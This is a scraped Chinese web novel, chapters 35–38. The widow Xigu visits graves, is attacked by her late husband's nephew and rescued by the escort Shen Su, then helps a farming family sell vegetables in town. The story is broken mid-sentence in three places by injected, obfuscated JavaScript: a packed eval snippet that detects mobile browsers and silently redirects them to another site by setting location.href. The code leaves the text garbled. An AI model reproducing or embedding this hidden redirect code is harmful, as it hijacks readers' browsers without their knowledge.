“嗯,他生前倒是不玩这个,”细姑辩解道,“死了玩一玩也没什么。我给他们多烧点纸钱。” 可惜了,这古代好玩的就这些,要是在上辈子,她说什么也要给夫妻俩烧一些电子产品,什么电灯电话,电脑电视的,上坟也不用那些煮得又柴又硬的鸭肉鸡肉,肯德基套餐安排上就行。 沈宿却叫这一串东西看傻了,他想想自己准备的,除了纸钱就是酒菜,酒菜还是自己喜欢吃的几样。 ”王娘子真是有心人!”他干巴巴地夸了一句,比自己有心多了。 “哪里!哪里!”细姑觉得自己受之有愧,“活着的人得了好处,总得让死人也享受点什么。” 细姑这是在说自己。 沈宿听了之后若有所思,随即招呼道:“王娘子坐好,我们走了!” 沈宿驾车从梭子街出去,北转,上了西华大街。 西华大街是宁州府三道南北主街之一。 这会儿街道上人、车尚不算多,两旁的铺子也刚开门。 细姑回身够到自己的篮子,从篮子里面拿出一个巴掌大的油纸包,打开油纸,里面是细姑准备的几个酥皮绿豆饼。 茶铺子旁边就有家点心铺,最近黄豆红豆绿豆,各种豆子成熟上市,正是价贱的时候,这绿豆饼也比平时便宜一两文。 他家的绿豆饼尤其好吃,细姑就多买了点儿,这会儿正好路上吃。 她拿起一个先递给了沈宿,“沈二哥,来一个!” “嗯——”沈宿一楞,随即把鞭子换到左手,用右手接过了细姑递过来的点心,“多谢娘子!”,说完把点心叼在嘴里。 “不客气!不客气!”细姑也拿起一个吃了起来。 等他们驾着车到了北边太平门的时候,人多了起来。 进城的人多,出城的人也多。 不过出城不用交钱,沈宿跟守城的兵丁又显然是熟人,打了个招呼就让他们出城去了。 过了护城河的拱桥,一路北去,渐渐人烟繁阜,路边多有摊子,都是做的出行之人的生意,细姑就看到有卖馒头烧饼的。 “沈二哥。你吃烧饼还是馒头?”她问沈宿。 沈宿摇摇头,“你这饼子不错,还有没有?” “有的!”细姑把手里剩下两块饼子都给了沈宿,饼子有些干,她吃一块就再吃不下去了。 沈宿不在意这个,两块饼子一会儿嚼完了,又从边上摸出一个葫芦来,他先问细姑,“王娘子喝不喝水?” “喝!”她这会儿口正干,接过葫芦,没敢对嘴喝,而是仰头往嘴巴里面倒水。 “这水怎么有股酒味儿?”她喝完水把葫芦还给沈宿。 沈宿一笑,“这葫芦我平时用来装酒的。” “怪不得!” “娘子平时不喝酒?” “不爱这味儿!” 沈宿驾车既稳且快,一会儿离着宁州城就远了,路两边渐渐没了买东西的摊子,只剩下草木田地,还有在田里耕作的农人。 不知是起得早了,还是因为喝了带酒的水,细姑被车子晃着泛起困意。 “沈二哥,我睡一会儿,等到了地方你叫我。”说完不等沈宿回话,自己往车里窜一窜,靠着车扶手,睡着了。 “你睡!”沈宿在前头驾着车,没回头。 他等半天,没听见回音,回头一看,细姑已经睡着了,不由一笑。 碧云山山脚,路难行,沈宿下车牵骡子,他没有叫醒细姑。细姑是被颠醒的。 一醒来就看到前头沈宿牵着骡子在走,她很难为情,立刻从车上跳了下来。 “嗯?”车身晃动,沈宿一回头,就看见细姑跳下车来,“王娘子醒了?” “醒了!醒了!这边路难走,沈二哥怎么不叫我起来?” 日头已经高起,沈宿身上有些热,他松松领口,没接细姑的话,只是问道:“你还记得你丈夫的坟在那里?我先把东西给你送过去。” “哦!好!”细姑快走几步,在前面带路。 找到了地方,沈宿帮着把东西从车上拿了下来,他看到有一个墓碑上写着王细姑三个字,不禁指着那几个字问道:“王娘子,这不是你的名字?” “嗯!是的!”细姑不在意,“我跟刘洪也没个孩子,就想着先把自己的碑先立起来,到时候人死了直接埋到地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571258|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,也简单。”这话细姑说了几遍了,这会儿再说一遍更流畅。 沈宿点点头,“我还要往上面去,王娘子烧完了东西,只管在这下面等着我。” “诶!好!” 上坟就是给坟头除草,再烧纸,这两样细姑干得都很快,一会儿就忙完了。 沈宿还没下来,四周都是坟地,青天白日的,细姑倒是不怕,只是有些无聊,便开始跟坟里的人聊天。 “刘大哥,王大姐!东西就先这么多,你们不要嫌弃,先用着。” “诶——对了,到时候再有什么好的,我看到了再给你们买,你们先不用着急。” “那个王大姐,色盅那个东西,你们偶尔玩一下就行,玩多了容易败家。回头我来不及烧纸你们就没钱了,这样不行!” “你们地底下的时空是不是通的,能不能见到我爸妈?”细姑的脑子越来越发散,“要是见到了帮我问一声。” “诶呀!”她一拍自己的脑袋,“我就应该再多带一点纸钱来,多烧点,说不定还能给我爸妈分一点。” ………… 来上坟的人多是七月半纸钱,今天十六,这一整片都是静悄悄的,细姑一个人东一句、西一句,在那里絮絮叨叨。 “沙沙!”、“沙沙!”人从草里走过的声音。 细姑以为是沈宿回来了,赶忙住嘴,回头一看——怎么是他? 来人是刘春根。 她立刻站起身来,警惕地看着突然出现的刘春根。 那刘春根还是那副样子,此刻看到细姑一个人来给刘洪上坟,神情得意,眉开眼笑。 “小——婶子?这半年过得可还好?”上天不负有心人,这半年来他时不时地就过来看看,果然叫他给等到了。 他上下仔细地打量着细姑,伸手摸了摸下巴,“婶子看着比二月里可是养好了!”看着都白了不少。 细姑没答话,两眼四处瞟——看看这周围还有没有别人。 “婶子看什么?”刘春根两眼盯着细姑,垂涎道。 “就你一个?”细姑摸到了手边的篮子,除此之外,也没有旁的趁手的东西了。 “诶——小婶子还想有谁?”刘春根很得意,那几个没耐心,找了几天就不找了,只有他一直不死心。 今天合该他独吞这块肉! 细姑暗暗定下心,看来今天来的只有刘春根一个,她比量一下自己和刘春根的身形大小,觉得自己未必没有胜算。 刘春根没了耐性,欺身上前,细姑一篮子甩到他头上,篮子里的东西飞得到处都是。 这一下子细姑是抡圆了胳膊打的,刘春根叫这一下子砸得结实,捂着头骂道:“贱人!你敢打我!” “打得就是你!”细姑搂头又是一下子,被刘春根用胳膊挡了,“臭婊子!还来!”他一把夺走细姑的篮子扔掉。 细姑脱力,闪退一步,后背撞到了墓碑上。 眼看着细姑没了退路,刘春根桀桀一笑,假惺惺道:“哎呦!婶子,小心点,撞到了!小叔死了不能心疼你,侄子我可是很心疼你的!” 王八蛋!细姑心里暗骂一句,猛地起身,拿头冲向了刘春根的肚子,一个野猪拱人,把人拱翻在地。 随后夺路朝山上跑去。 36. 第 36 章 “沈宿!” “沈宿!” “救命!” “救命啊!” “你在哪里?!” 大慈大悲、救苦救难的沈宿,你到底在哪里?! 细姑一面拼了命地跑,一面扯着嗓子喊,她从没有这样迫切地想要见到一个人。 她大意了,她以为过了这么久,又错开了日子,就会安全。 谁知道会这样! 身后的刘春根越追越紧,细姑已经可以听到他的脚步声和叫骂声,但她不能、甚至不敢回头看一眼。 “沈宿你快点听到啊!我今天得救了,回去给你也立个牌位,一天三顿香烧给你!救命啊——” 细姑跑得快喘不上气了,根本顾不上后背腰疼。 终于! 一道黑影在丛丛树影间掠过,又急又快。 “沈宿!”细姑喜出望外。 只见沈宿沿着山道连跳带跑,几个起落就到了细姑身边,他刚站定身子,就伸出手稳住了细姑的身形,“怎么了?” “有人要害我!”细姑扯着沈宿胳膊停下来,直喘粗气。 沈宿闻言将她揽到身后,一脸冷色地看向山路另一头——刘春根神形狼狈、脸色阴狠地停在了他们的不远处。 “这人是谁?” “刘春根!刘洪没出五服的侄子!”细姑咬牙切齿,“都半年了,这王八蛋还不死心!” “今天我在,他动不了你一根汗毛!”沈宿向身后的细姑保证。 这种货色,他还不看在眼里。 刘春根自然知道自己几斤几两,欺负欺负妇孺还行,力气大些的老男人他都不一定打得过。 此时他眯着眼睛躬身向后,一面盯着着细姑沈宿两人,一面时不时地觑着脚下的山路,嘴里还不三不四道:“小婶子好本事,我小叔的尸骨还没化干净,你这边就有了新姘头!你半夜做梦不怕梦到他老人家?” 这种浑话,沈宿送镖听多了,全不放在心上,他去看细姑。 细姑更不在意,他们夫妻俩早在地下团聚了,关她王畅什么事儿?但也不能叫人白骂喽! “狗嘴里吐不出象牙!姓刘的,别以为我不知道你那流脓的烂脑壳里想的什么腌臜货!你个脚下没根的废物,想女人想疯了吧你!刘洪死了还有我给他上坟,你小子死了都没人给你哭一声!寡妇都看不上你!” 这两句话戳到了刘春根痛处,他二十好几了,爹娘早死,哥嫂嫌他,媳妇没有,日子过得紧巴巴,连个相好的都捞不到。 他眼红刘洪这个小叔很久了! “臭婊子!你别以为有这个——”他话还没说完,沈宿一个箭步冲到他身前,随即一拳打在了刘春根的肚子上。 这一拳就打得刘春根直捂住肚子,倒在地起不来。 “好!打得好!”细姑鼓掌,“叫你嘴臭!” 一个泼皮无赖指望着有什么硬骨头,结结实实挨了一拳后,刘春根趴在地上哀嚎,“婶子,婶子,我错了!我错了!我再也不敢了,再也不敢了!” 江山易改本性难移,细姑是万万信不过刘春根的,她至少得把这个人的胆子吓破了才行,于是笑眯眯地看着沈宿,神情狡黠,“咱们在这里结果了他,会不会被发现?” 沈宿心领神会,“做得干净就不会,只是一会儿挖坑埋尸有点费力气。” 孺子可教也! 细姑回以一笑,“那还等什么?快动手啊!” 沈宿失笑,这人还演上瘾了! “好!” 说着装作要从腰上抽出一把刀来。 沈宿这一下动作,吓得刘春根压根顾不上疼,捂着肚子,连滚带爬地朝山下奔命去。 没一会儿,就跑得不见人影了。 细姑和沈宿两个看这情形,憋了一会儿,又忍不住大笑起来。 笑着,笑着—— “哎呦——”细姑一手扶住了自己的腰。 “怎么了?”沈宿的笑声停了下来,男女有别,他不好上前查看女子的腰身,只能关切道:“伤到了?” “没事!没事!”细姑摆摆手,她没说自己刚才撞到了石碑上,“笑岔气了!笑岔气了!” 沈宿欲言又止,骡车还在上面,眼下细姑的情况显然也不能留她一个人在此,于是他向细姑伸出小臂,“还能走吗?车在上面。” 细姑明白沈宿的意思,让她跟着上去,坐上车就好了。 她点点头,一手扶住沈宿的胳膊,“能走!” 车停在在一个偏僻的坟头边上。 这是一个非常奇怪的坟——一个长满了荒草的坟包,鼓在一片无人往来的野林地里,没有墓碑。 “这里面是谁?” “我的一个故人!” “死多久了?” “快十年了!” “怎么没有竖碑?” “仇家还在,不能竖碑。” 沈宿是个什么情形,细姑说不上来,就是觉得平日活人一个的沈宿,此刻变得如同半死了一样。 这大概是个对他很重要的人吧! 细姑收回手,端直了身子,对着坟头拜了一拜,“您安息!” 沈宿看着细姑动作,心中复杂,片刻之后方道:“咱们走吧!”说着走到一旁的树上解开了缰绳。 细姑跟着走到车边,她想上车,可是这会儿腰上使不上力气,摸着车边有点犯愁。 沈宿走过来,道一句“得罪了”,随即偏过头去,两手掐在细姑肋下,一使力,将人送到了车上。 “诶——你力气真大诶!”细姑坐上车,惊奇道。 她现在个子不矮,人也不瘦,但是沈宿几乎就这么轻轻一下,就把她搬了上来。 这人看着瘦,原来这么有力气的! 沈宿本来还有几分不自在,叫细姑这么一夸,那点不自在顿时去了大半。 “这不算什么,镖行里大家都是这么搬货的!”他牵着骡子在前头走。 等到了半坡,细姑忙道:“沈二哥,我的篮子还在刘洪的坟头边上!” “好!你不要动,我去去就回!” 沈宿将篮子拿了回来——篮子都叫打歪了。 细姑有些可惜,好在一点礼物都叫她放在了车上。 她对沈宿道:“等下我想去小岭村。” 沈宿回她,“我也要去。” “这么巧?” “不巧,我今天本就是要去白家娘子那里。” “你去她家干嘛?” “镖行和白娘子家里有点生意上的往来。” “什么生意?” ——菜蔬瓜果的生意。 白霜家里家外全是菜。 外面的田垄上是胡萝卜、青萝卜、白松菜、紫茄子……墙上搭的架子上是苦瓜、丝瓜……角落里还爬满了眉豆、冬瓜的藤蔓;院子也满了,铺满了草席,席上全是各种咸菜、菜干,更不用说角角落落里的瓶瓶罐罐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590539|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这么多?吃得完吗?”细姑既是在问沈宿也是在问白霜。 沈宿正在把菜垒到筐子里,“镖行几十人,这不算多的,有些带了家小的也顺道从镖行里面带了一份,比在城里买便宜多了。” 细姑听了这话,想到自己前段时间交的人头税,道:“那倒是,宁州城里,喘口气一年都得交二百文钱。” “你们这生意是从什么时候开始的?”她又问道。 这次回答她的是白霜,她笑道:“清明的时候,大姐你不是请这位沈小哥送了一封信回来?” 原来沈宿为了得到那一罐韭菜齑,代他姐沈掌柜和白霜家里定了两年的瓜果和腌菜。 “镖行里弟兄四处送镖,总会有人从这附近路过,谁顺路就给带一趟,一个月总能来个几趟。而且郑阿婆的腌菜做得十分好,弟兄们出门在外风餐露宿,都爱这口!”沈宿解释道。 白霜接道:“菜钱一个月一结,他们从来不耽误。” 一说到腌菜,在一边搬腌菜罐子的李果忍不住又瞪了沈宿一眼,还是李树懂事,趁大人聊天没看见,拍了一下弟弟的脑袋。 义顺镖行大约是个非常好的主顾,细姑这次来,明显感受到了白霜家里的变化——这个家里变得拥挤,变得忙碌,变得有盼头。 白霜这个一家之主脸上不再是忧愁苦郁,取而代之的是一种稳定、踏实的神情,郑阿婆也不再是那种认命式的看破一切,她忙着做饭、骂孩子、骂狗,几个孩子的衣裳也都合身起来,最小的李叶儿脚上穿了一双小鞋子,此刻正被黄狗追着到处乱跑。 她不在的这段时间,白霜一家都在努力地劳作与生活。 午饭是在白霜家里吃的,孩子烧的火,郑阿婆做的饭菜——一个瞎眼的老妇人做的饭菜味道竟然这么好? 细姑吃着饭菜,忍不住夸赞,“婆婆做得这么好的饭食!” 郑阿婆眼睛看不见,听着声音把脸转到细姑这边,“好吃就多吃点!”她笑着招呼道,“前面身子懒,好久不做了,这半年,树儿她娘带着两个小子在田里忙活,叶儿又小,没办法,只能我这个老婆子糊弄一点!” 郑阿婆笑呵呵的,家里的日子在变好,她也不再是一个老而不死的、只会讨食吃的老婆子。 “这要是糊弄,那我做得大概是猪都不吃了。”细姑笑道。 大人说着大人的话,小孩子也要说小孩子的话。 李树遗憾地告诉细姑,“可惜我的兔子跑了!” “我知道!”李果插嘴,“我哥编的笼子不好,叫兔子咬断了!” “就你话多!”李树嫌他弟。 细姑跟着道:“那是挺可惜!” 饭后,细姑留下了她这次带来的礼物:一斤黑糖——白糖纯净价贵,黑糖杂质多还发苦,平民百姓家里只吃得起黑糖;一包茶叶——算不好好茶叶,但胜在够用;两样点心——红豆馅和绿豆馅的,这两种是最近最多的点心。 忙碌与收获让白霜变得坦荡,她十分自然地接受了细姑的礼物,并且回馈了更多——满满一筐的菜蔬和两罐腌菜。 沈宿把这一个个筐子在车上码放整齐,又借来一个凳子扶着细姑上车。 临行前,白霜一家站在院门口送别细姑,“你下次什么时候再来?” 她回道:“岁末。” “一定?” “一定!” 沈宿牵起骡子,车子缓缓起行。 细姑坐在车上,与他们挥手作别。 37. 第 37 章 车子一直往前走,走了很远,细姑还时不时地回头看。 “舍不得?难受?”沈宿问道。 “嗯!说不上来,心里涨涨的。”细姑觉得自己该为白霜一家的改变而高兴,不知道为什么眼睛却有些发酸,连说话的声音都有些涩。 沈宿没看她,仍旧牵着骡子在前头走,闻言一笑,他换了一个话题,“你跟他们家是怎么认识的?” “嗯——”细姑靠着后面装满了菜蔬的编筐,歪着脑袋,斜看向右侧的天空,回忆道:“刘洪在的时候就认识了,只是那时候不算熟,后来刘洪死了,出殡的前一天晚上,她带着她大儿子,冒着黑来告诉我,第二天要小心,有人等丧礼结束,就要把我捆起给卖了。” 她三言两语把事情叙述完了,隐去了一部分的事情,只说起白霜母子俩对自己帮助,语气很平淡,仿佛当初想法子保命逃生的不是她。 沈宿回头,“是今天在山上哪个?” “他只是其中一个,当时应该是有四个人!” “你怎么逃得?” “我请所有人喝了一顿酒,包括他们几个,然后趁着付酒钱的功夫,从后门逃走了。”说起来细姑还有些得意。 “然后到了宁州府?” “对!” “那你跟丁娘子又是怎么认识的?” 怎么又说到丽娘了? “偶然!我们两个当时都没钱,只能合租一间房来着。” “那丁娘子的丈夫去了多久了?”沈宿接着地问道。 有情况呀! 细姑眯眼,饶有兴致地盯着沈宿的后背,没说话。 沈宿等了一会儿,没等到回话,转过头来看细姑,就看到她脸上颇有几分玩味的表情,他立刻明白她误会了,于是解释道:“王娘子不要误会,我是帮别人问的。” 我信你才有鬼!细姑长长地“喔”了一声,“我懂!我懂!” 沈宿一听这话就知道误会大了,又不好解释,越解释越叫人不信,遂走在前面不再说话。 细姑心道:看来救命之恩,也不用一日三炷香来还了,要是能当个红娘说不定还能倒赚一笔恩情。只是不知道丽娘愿不愿意。罢了,还是先问问这沈宿的基本身家情况。 “沈二哥今年多大?”细姑笑眯眯问道。 沈宿翻眼看了一下天,无奈道:“二十五!” “唔!”细姑点点头,比丽娘大两岁,“还未成婚?” “尚有一些事情未了,一时不会儿还不能成婚!” 不能成婚你瞎问什么?! 细姑敷衍地“哦”了一声,对沈宿的个人之事不再出声问询。 沈宿见细姑不再热情地打听自己的情况,暗暗松了一口气——等他回去,说什么也得敲乔老三几顿好酒! 早秋了,在宁州城里,除了早晚凉快一些之外,旁的同夏天也没什么不同。但是到了城外面、田野道路之间,不同之处便多少显现出来一些。 草、树自然还是绿的,它们夏天是一种蔫蔫的、油油的绿,现在则是一种硬挺的、浓到深处的绿。 田地里的谷子绣满了稻穗,绿中带着隐隐的黄,只是还未饱满,一根根的翘着头。看景象今年是个丰年,叫人心里喜滋滋的。 天高高的、蓝蓝的,云白白的、慢悠悠地飘着,鸟雀时不时地窜飞来去,祸祸庄稼,半大的孩子手里折了一根带叶的树枝,在田间跑动,驱赶这些恼人的、带毛会飞的畜生。 沈宿在前头和骡子并排走着,车头上只坐了细姑一个,她从筐里摸出一根黄瓜来,在衣服上蹭了两下,随口啃了起来。 “沈二哥,黄瓜你吃不吃?” “不吃!” “哦!” 大约是沈宿和骡子的腿都很长,走得都很快,他们走到城门口的时候刚傍晚,太阳一整个的还在西边的天际线上。 城门口又是排着老长的队。 细姑想起自己第一次进宁州城的情形,才想起自己身上没带户贴路引。 “沈二哥,我没带户贴!” “不用,我常从这个门走,都认识!” “那我们拉这些东西要交钱么?” “要的,不过都是些不值钱的瓜果蔬菜,交不了几个钱。” 如沈宿所言确实也没几个钱,他自己就把这个钱掏了,另外又搭了几条黄瓜给认识的守城的兵丁嚼嘴用。 给完钱和黄瓜,细姑和骡子在一旁等着,沈宿和两个兵丁在说说笑笑,不知道说了什么,那两个兵丁时不时看一眼细姑,还拍拍沈宿的胳膊。 到苍石巷的时候,细姑还是踩着凳子下车,沈宿帮着她把一筐子菜和两个罐子腌菜都搬到了院子里。 “王娘子这个院儿收拾得齐整?”沈宿第一次进来,大概是没处可夸了,夸细姑院子整齐。 细姑扶着腰在后面慢慢地走,闻言笑道:“齐整?光秃秃的什么都没有,可不就是齐整!” 除了青砖就是白墙,就一个井,位置打得还偏,那么大个院子,除了丽娘晾晒的几件衣服,愣是什么都没有。 沈宿一笑,“等丁娘子回来让她给你贴两贴膏药,这样好的快些!”细姑不肯说,他也猜得到她有没有受伤。 “知道了!谢沈二哥!”细姑站在门口,再三感谢,送走了沈宿。 随后,细姑一个人去了斜西街北边的李家跌打药——他家的铺子就叫这名,买了两贴膏药和一小瓶红花药酒,用了一百三十个铜钱。 买完药,回家,细姑就拎着东西在院子里打转——去过了白霜家里热闹拥挤的院子,她再看着自己家宽敞的院子,总觉得还缺点什么。 ——缺点带有生气的东西。 这样东西,丽娘下工的时候正好带了回来。当然不会是刘月儿这个闹腾人的小家伙,而是一把葱,一把养在破花盆里的葱。 丽娘把它们放在了厨房檐下,“要吃的时候揪两管叶子就行。” 她是个极会过日子的,见了白霜给的一筐子新鲜菜更来兴致。 细姑却有些犯愁,“这么多,吃不完怎么办?” 菜又多又新鲜,丽娘一样样地分拣出来,心里早就盘算好了要怎么吃,即使细姑问了个傻问题,也不能损了她半分兴致,“你铺子门口那么大块空地是摆设?” 细姑没太明白。 丽娘知道细姑在某些地方有些痴性,也不计较,“多的你往门口一摆,谁家要,自然会问你一声。” “要卖啊?人家送我的心意,我拿来卖钱,这不好吧?” 再说了,她不是个卖茶水的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604072|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这有什么?”丽娘是个实用主义者,“你要是卖得好了,白家姐姐还得托你来卖,她家里还能多得些钱哩,两全其美的事儿!” 晚上等刘月儿睡了,细姑掌灯,请丽娘帮自己上药酒、贴膏药。 细姑脱下衣物,她的后背上已经青紫一片,尤其是腰上有一道,紫里透着血痕。 “哪个王八蛋干的!”丽娘怒道。 细姑是个懒惫性子,平日里干点活,手上磨出一个水泡,都要叫半天苦,这会儿伤了这么大的一片,指不定得多疼呢! 丽娘看着眼睛都红了。 “哎呀!没事儿!”有人心疼,细姑还怪感动的,反过来安慰丽娘,“沈宿帮我揍了那个王八蛋一顿!” 丽娘不领情,“你下次多带两个人!” “好好好!” 丽娘还是不放心,“再随身带上一把刀,防身用!” “没问题!没问题!” “明天铺子别开门了,歇一天!”丽娘把酒均匀地抹在细姑的背上。 细姑先是觉得背上一凉,马上又热辣辣地疼,唉声道:“那不至于,我明天少卖点就是了!” 丽娘一听这话,下手更重了一些,“我看你是嫌不够疼!” “疼疼疼!够疼了!够疼了!” 丽娘是用了力气把药酒揉开的,细姑疼到求饶也没让她把手停下来,只能龇牙咧嘴、唉声叹气。 揉完之后,两个都出了一身的汗,细姑是疼的,丽娘是累的。 “行了,你今天晚上就趴着睡吧。”丽娘收了药酒,临走时帮细姑把门带上了。 细姑趴着睡了一夜。 第二天一起来,好多了。 果然!受了那么大的罪,多少还是有点用处的。 等茶铺一开门,细姑把丽娘分好的菜往门口一摆,两文钱一份,各种菜蔬搭配着买。 丽娘这个冷碟厨子不是白干的,搭配出色,都没用细姑吆喝,路过的邻居、熟客看到菜,上来翻检一二,一问价,才两文,便宜! 没多时就卖光了,比她的茶水还好卖。 细姑把这笔钱单独做了一份账,想着下次沈宿过来,托他把消息带给白霜。 后背受了伤,使不上大力气,细姑只卖了俩半铜壶的茶水,下午早早的就光了,然后闲坐在门口,看船来人往。 同在一个巷子的牛大,又一次载客从茶铺前路过的时候,细姑叫住了他,“诶!牛大!” 抬头不见低头见的邻居,这个哥那个姐的叫着麻烦,细姑跟着邻居直喊人牛大。 “茶老板,什么事儿?”牛大连她姓甚名谁都省了。 “你什么时候从城外卖花的地方路过,给我带棵花树回来,钱我到时候一起算给你!” 细姑觉得家里太空了,得养点花花草草的。城外养花卖花的多,而且比城里便宜,干脆托了牛大帮自己买一盆。 “要什么花?” “都行!” “盆儿要不要? “要的!” 她院子里面都是砖,没地儿栽树。 天擦黑的时候,牛大给细姑带回了一棵桂花树。连盆带树,一共两串又五十个铜钱。 细姑多算了十文钱给他,算是费他的功夫钱。 38. 第 38 章 树小得可怜,衬着陶土盆尤其的大。也没开花,不是牛大说的,细姑根本认不出这是桂花树。 “桂花树好啊!”倒是丽娘,一见到这棵树就认了出来。 细姑以为她接下来会说什么“富贵”、“吉祥”之类的话,毕竟“桂”通“贵”么。 然而她接下来说道:“等开花了,摘下来,拿糖渍了,泡水喝!” 很好,这话说得很丽娘,很实用,跟风雅富贵没有半点关系。 细姑则既不风雅,更不实用,她纯是好奇,又馋,“到时候我也尝尝!” 只有刘月儿这个小孩儿,会为了院子里面又多了一个活物而感到高兴。她站到盆边,和桂花树比了一下,树的最顶端才到她的眉毛。 刘月儿像摸小狗一样,摸了摸叶顶,“我以后天天给你浇水!” 院子里太整齐、太空了,也不好,这盆桂树放到哪里都显得多余。细姑和丽娘在院子里面左腾右挪,也没有给它找到一个合理的地方。 最后还是细姑一锤定音——就放在她卧室的窗户下面。 她们住的宅子,呈长条方形,北面四间半房子,东南角向外赊出去一间半的铺子。从铺子和院子连接的地方,西边错进去一间茶水房,茶水房出去是今年新打的一口井;向北也错进去一间,是厨房。厨房和细姑住的那半间屋子当中还空出块地来。 桂花树就摆在这块空地上,不碍事儿。 全家上下对这棵半大的树苗寄予厚望。 刘月儿每天浇水,丽娘上工、下工都要看看这棵桂花树,细姑更是时不时地从铺子里面抽身回来看一趟。 可能是天还有些热,一直到八月,树上都没什么动静。 细姑后背都好的七七八八了,她还一直想等沈宿过来,请他给白霜带封信,一直也没等到。 倒是有一回,丽娘下工回来的路上遇到了乔宽,她说细姑:“大姐,你干脆请乔三哥帮你把信带过去算了,反正和白家姐姐做生意的是镖行,谁带过去还不是一样?” 细姑想想,点头道:“你说的对!” 于是把信转给乔宽,“乔三哥,这是我带给小岭村白霜家里的一封信,就是你们镖行里跟她家定的瓜果蔬菜,不管是谁从她家路过,都帮我把信带过去。” 信上,细姑简明地说了自己把她给的半框菜卖了几十文钱,请白霜若是有时间,托人再带一些蔬菜过来,茶铺门口,可以帮忙寄卖,多少又是一份进项。 “小岭村,我知道!”乔宽收了信,“王娘子放心,我一定帮忙带到。” 信带出去的第四天。 这天,细姑照常开铺子卖茶水。 天气慢慢地转凉,早晚就没有什么茶水生意,接近晌午的时候,细姑刚送走了一桌人喝茶水的客人,正在擦桌子,就听见外面有人在叫:“大姐?” 这声音怎么有点耳熟? 她一回头,就看见了白霜——一身尘土,脸上又是红的又是汗,手上推着一辆独轮小车,稳定车身的引绳就搭在她的脖子上,车上头放了两个大筐,筐里是她这次带来的蔬菜。 “你怎么找来的??”细姑又惊又喜,撂下抹布,急忙走了上去。 白霜放下车把手,抬起袖子擦汗,满脸是笑,歇了两口气,才道,“大姐,真的是你?镖行有个姓乔的镖师告诉我的,我就一路找过来,倒也不难找。” “乔三哥告诉你的?他是我一个巷子里面的邻居!”细姑把她把挂在脖子上的绳子拿了下来,“先进来喝口茶!” “等等,大姐,先把菜放起来,”白霜还是更惦记着细姑信里说的能帮着买菜,“大姐,你这那里能买菜?” “不急这一时,”细姑想了一下,又道:“你先跟我把车送到后面,后面院子里有空!” “好!”白霜点头,又把车抬了起来。 到了后院,细姑帮着白霜把菜一筐筐地搬下来,她给白霜倒了一碗茶,“这么多菜,这么远,你一个人推过来?” 白霜又累又渴,坐在凳上,一口气把茶水喝了干净,才回细姑道:“早上天不亮就出门了,一路上倒是好走,那位乔镖头把你的地方,说得也清楚,好找,没费什么事!” 细姑看着脸上热得泛红的白霜,心中涌起一股带着苦味的敬意。 白霜碗里的茶喝干了,细姑立刻提起茶壶道:“你还要不要再来点?” “好!” 看着白霜喝茶,细姑又问她,“孩子呢?都在家?” 白霜点点头,“都在家,树儿、叶儿都乖,就是老二,死活闹着要跟过来,我不答应,就撒泼打滚,被老大揍了一顿!” 确实是李果的性格,细姑一笑,又问道:“郑阿婆也好?” “都好!” “肚子饿了没有?中午在我这里吃点吧?” “好!” 丽娘上工,最近又把刘月儿带上了,细姑自己一个人在家里,吃得很随便。中午就蒸一锅米饭,配上一点腌菜,或者就随便炒点青菜。反正晚上丽娘回来的那一顿才是一天主餐,中午这顿,也就无所谓对付不对付了。 但是今天中午她要请客,白霜又是第一次上她家的门,说什么也要重视一些。 白霜要自己上灶做菜,细姑拦着没让——开玩笑,哪有让第一次上门的亲戚客人自己做菜的? 但细姑知道自己的厨艺,让她做饭待客,那真的是慢待,于是找了一个巷子里住的庆嫂来帮忙。 庆嫂是牛大的老婆,头脸大,眼睛也大,说话声音更大,细姑时常能听到她在家里骂牛大的声音。不过庆嫂只骂牛大,对旁人倒是都很好、很爽朗。 附近的人家唤牛大就是牛大,很随意,但是对她都十分尊敬,不论男女老少,都称呼她“庆嫂”。 庆嫂听了细姑的请求,二话没说,放下手织布的梭子就来了。 她一进细姑家的院门,先跟白霜打了一声招呼,马上看到白霜带来的两大筐子菜,嘴里一直“哎呀——呀——呀——” 随即说细姑,“你这个茶老板!做人不讲究!你有卖鲜菜的一门亲戚,怎么不早说?害得老娘天天去外面,买那贵价的烂菜!” 庆嫂说话就是嗓门大,爱夸张,细姑反驳道:“你那么会过日子,哪可能花钱买烂菜?卖菜的不倒赔你钱就不错了!” “去你的!”庆嫂笑着斜了细姑一眼,又满意地打量这两大筐鲜菜,对着白霜热切道:“这位妹子怎么称呼?” 白霜回道:“我娘家姓白,夫家姓李,我叫白霜!” “那我就叫你霜妹子!”庆嫂自来熟,“你这菜有多少斤?打算怎么卖?” “菜有两百来斤。”至于价格,这白霜就不知道该怎么回答了,她求助地看向细姑。 